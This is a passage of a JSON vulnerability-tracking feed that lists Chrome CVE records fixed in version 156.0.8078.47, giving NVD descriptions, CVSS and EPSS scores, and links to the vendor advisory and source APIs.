CVE-2026-113011","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113011","type":"primary","publishedAt":"2026-10-20T22:18:51.677Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113011&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113011, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113009","cveId":"CVE-2026-113009","aliases":[],"kind":"vulnerability","title":"Use after free in WindowControlsOverlay in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in WindowControlsOverlay in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in WindowControlsOverlay in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:51.440Z","updatedAt":"2026-10-22T23:18:24.557Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113009","asOf":"2026-10-22T23:18:24.557Z"},"epss":{"probability":0.00406,"percentile":0.34609,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113009&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113009","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113009","type":"primary","publishedAt":"2026-10-20T22:18:51.440Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113009&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113009, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113008","cveId":"CVE-2026-113008","aliases":[],"kind":"vulnerability","title":"Memory corruption in Transactions Platform in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted...","summary":"Memory corruption in Transactions Platform in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in Transactions Platform in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:51.327Z","updatedAt":"2026-10-21T17:45:56.090Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113008","asOf":"2026-10-21T17:45:56.090Z"},"epss":{"probability":0.00417,"percentile":0.35717,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113008&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113008","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113008","type":"primary","publishedAt":"2026-10-20T22:18:51.327Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113008&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113008, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113006","cveId":"CVE-2026-113006","aliases":[],"kind":"vulnerability","title":"Out of bounds read in Navigation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Out of bounds read in Navigation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Out of bounds read in Navigation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:51.097Z","updatedAt":"2026-10-21T17:11:15.913Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113006","asOf":"2026-10-21T17:11:15.913Z"},"epss":{"probability":0.00417,"percentile":0.35716,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113006&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113006","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113006","type":"primary","publishedAt":"2026-10-20T22:18:51.097Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113006&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113006, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113005","cveId":"CVE-2026-113005","aliases":[],"kind":"vulnerability","title":"Memory corruption in Bluetooth in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Bluetooth in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in Bluetooth in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:50.990Z","updatedAt":"2026-10-21T17:11:21.667Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113005","asOf":"2026-10-21T17:11:21.667Z"},"epss":{"probability":0.00417,"percentile":0.35717,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113005&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113005","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113005","type":"primary","publishedAt":"2026-10-20T22:18:50.990Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113005&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113005, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113004","cveId":"CVE-2026-113004","aliases":[],"kind":"vulnerability","title":"Memory corruption in Sync in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Sync in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Memory corruption in Sync in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:50.880Z","updatedAt":"2026-10-21T17:11:30.367Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113004","asOf":"2026-10-21T17:11:30.367Z"},"epss":{"probability":0.00417,"percentile":0.3572,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113004&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113004","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113004","type":"primary","publishedAt":"2026-10-20T22:18:50.880Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113004&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113004, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113003","cveId":"CVE-2026-113003","aliases":[],"kind":"vulnerability","title":"Memory corruption in HID in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in HID in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in HID in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:50.773Z","updatedAt":"2026-10-21T17:11:34.813Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113003","asOf":"2026-10-21T17:11:34.813Z"},"epss":{"probability":0.00417,"percentile":0.3572,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113003&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113003","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113003","type":"primary","publishedAt":"2026-10-20T22:18:50.773Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113003&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113003, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113001","cveId":"CVE-2026-113001","aliases":[],"kind":"vulnerability","title":"Use after free in Workers in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Workers in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Workers in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:50.550Z","updatedAt":"2026-10-21T17:11:44.040Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113001","asOf":"2026-10-21T17:11:44.040Z"},"epss":{"probability":0.00417,"percentile":0.35717,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113001&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113001","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113001","type":"primary","publishedAt":"2026-10-20T22:18:50.550Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113001&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113001, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113000","cveId":"CVE-2026-113000","aliases":[],"kind":"vulnerability","title":"Memory corruption in Paint in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Paint in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Memory corruption in Paint in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:50.440Z","updatedAt":"2026-10-21T17:11:48.800Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113000","asOf":"2026-10-21T17:11:48.800Z"},"epss":{"probability":0.00417,"percentile":0.3572,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113000&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113000","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113000","type":"primary","publishedAt":"2026-10-20T22:18:50.440Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113000&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113000, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112999","cveId":"CVE-2026-112999","aliases":[],"kind":"vulnerability","title":"Use after free in API in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in API in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in API in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:50.327Z","updatedAt":"2026-10-21T17:11:53.467Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112999","asOf":"2026-10-21T17:11:53.467Z"},"epss":{"probability":0.0037,"percentile":0.30632,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112999&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112999","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112999","type":"primary","publishedAt":"2026-10-20T22:18:50.327Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112999&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112999, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112998","cveId":"CVE-2026-112998","aliases":[],"kind":"vulnerability","title":"Memory corruption in Views in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Views in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Memory corruption in Views in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:50.213Z","updatedAt":"2026-10-21T17:11:58.177Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112998","asOf":"2026-10-21T17:11:58.177Z"},"epss":{"probability":0.00417,"percentile":0.35719,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112998&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112998","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112998","type":"primary","publishedAt":"2026-10-20T22:18:50.213Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112998&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112998, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112997","cveId":"CVE-2026-112997","aliases":[],"kind":"vulnerability","title":"Memory corruption in CSS in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in CSS in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in CSS in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: 